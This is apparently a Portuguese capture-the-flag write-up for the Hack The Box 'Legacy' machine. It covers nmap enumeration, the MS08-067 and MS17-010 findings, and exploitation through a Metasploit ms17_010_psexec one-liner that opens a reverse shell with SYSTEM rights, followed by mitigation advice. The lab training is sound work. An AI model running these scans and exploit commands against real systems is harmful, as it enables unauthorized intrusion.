Legacy
Introdução
https://app.hackthebox.com/machines/Legacy
Legacy é uma máquina Windows da plataforma Hack The Box, classificada oficialmente como Easy. É uma das máquinas mais antigas e conhecidas da plataforma, ideal para quem está começando com pentest em ambientes Windows, já que expõe um serviço SMB extremamente desatualizado (Windows XP) vulnerável a exploits públicos e bem documentados.
IP alvo utilizado durante o teste: 10.10.10.4
Escaneamento
O primeiro passo foi enumerar as portas abertas na máquina com nmap, primeiro varrendo todas as portas TCP e depois fazendo uma varredura mais detalhada (detecção de versão e scripts padrão) apenas nas portas encontradas.
ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.10.10.4 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -sC -sV -Pn -p $ports 10.10.10.4
O resultado mostrou apenas três portas abertas, todas relacionadas a serviços de rede da Microsoft:
- 135/tcp — msrpc
- 139/tcp — netbios-ssn
- 445/tcp — microsoft-ds (SMB) O banner e o comportamento do serviço SMB indicavam se tratar de um Windows XP, um sistema operacional extremamente antigo e sem suporte a atualizações de segurança há muitos anos — um forte indicativo de que a máquina seria vulnerável a falhas clássicas de SMB.
Enumeração
Com o SMB como único vetor de ataque relevante, o passo seguinte foi rodar os scripts de vulnerabilidade do próprio nmap contra as portas 135, 139 e 445 para confirmar quais falhas conhecidas estavam presentes no serviço.
sudo nmap -sS --script=vuln -p 135,139,445 10.10.10.4
O scan de vulnerabilidades confirmou a exposição a duas falhas clássicas de SMB no Windows:
- MS08-067 (CVE-2008-4250) — falha de estouro de buffer no serviço Server, explorável remotamente.
- MS17-010 / EternalBlue (CVE-2017-0143 a CVE-2017-0148, sendo a CVE-2017-0144 a mais associada ao EternalBlue) — falha crítica no processamento de requisições SMBv1 que permite execução remota de código. Como a máquina estava vulnerável a ambas, optei por seguir com a exploração via EternalBlue (MS17-010), por ser a mais direta de explorar com módulos já prontos no Metasploit.
Exploração
SMB vulnerável a MS17-010 (EternalBlue)
O serviço SMB rodando na porta 445 estava vulnerável ao MS17-010 (EternalBlue), identificado pela CVE CVE-2017-0144. Essa vulnerabilidade afeta a implementação do protocolo SMBv1 no Windows e permite execução remota de código sem autenticação, através do envio de pacotes SMB manipulados que exploram um erro de manipulação de memória no kernel.
Para explorar essa falha, utilizei o módulo do Metasploit Framework windows/smb/ms17_010_psexec, que automatiza todo o processo de exploração e entrega um shell diretamente com privilégios de SYSTEM, sem necessidade de escalonamento adicional.
msfconsole -q -x "use exploit/windows/smb/ms17_010_psexec; set rhosts 10.10.10.4; set lhost tun0; set lport 443; run"
Ao executar o exploit, o Metasploit:
- Confirma que o alvo está vulnerável ao MS17-010.
- Usa o EternalBlue para corromper a memória do kernel e injetar um payload.
- Utiliza a técnica de PSExec sobre SMB para executar o payload como serviço.
- Retorna uma sessão Meterpreter (ou shell) já com privilégios de
NT AUTHORITY\SYSTEM.
Pós-exploração
Como o módulo ms17_010_psexec já explora diretamente uma falha de kernel que concede o nível mais alto de privilégio da máquina, não foi necessário nenhum passo adicional de escalonamento de privilégios — o acesso obtido já é equivalente a administrador total do sistema.
Após a sessão ser estabelecida, a confirmação do nível de acesso foi feita com:
whoami
Retornando nt authority\system, confirmando o controle total da máquina, o que permitiu a leitura das flags de usuário e de administrador diretamente no sistema de arquivos.
Anexos
- nmap — usado para varredura de portas e para os scripts de detecção de vulnerabilidades (
--script=vuln). - Metasploit Framework (
msfconsole) — usado para explorar o MS17-010 através do móduloexploit/windows/smb/ms17_010_psexec.
Mitigação
Para corrigir a vulnerabilidade explorada nesta máquina, as seguintes ações são recomendadas:
- Aplicar o patch oficial da Microsoft referente ao MS17-010 (boletim de segurança de março de 2017), que corrige as falhas no tratamento de requisições SMBv1.
- Aplicar também o patch do MS08-067, caso o sistema ainda dependa de versões extremamente antigas do Windows.
- Desabilitar o protocolo SMBv1 por completo, já que ele está obsoleto e é a origem de diversas vulnerabilidades críticas conhecidas — o SMBv2/v3 deve ser utilizado no lugar.
- Manter o sistema operacional atualizado, evitando o uso de versões sem suporte, como o Windows XP, que não recebe mais atualizações de segurança.
- Restringir o acesso às portas 135, 139 e 445 apenas a hosts e redes confiáveis por meio de firewall, evitando exposição direta desses serviços à internet.
- Utilizar segmentação de rede e soluções de detecção de intrusão (IDS/IPS) para identificar tentativas de exploração de falhas conhecidas de SMB.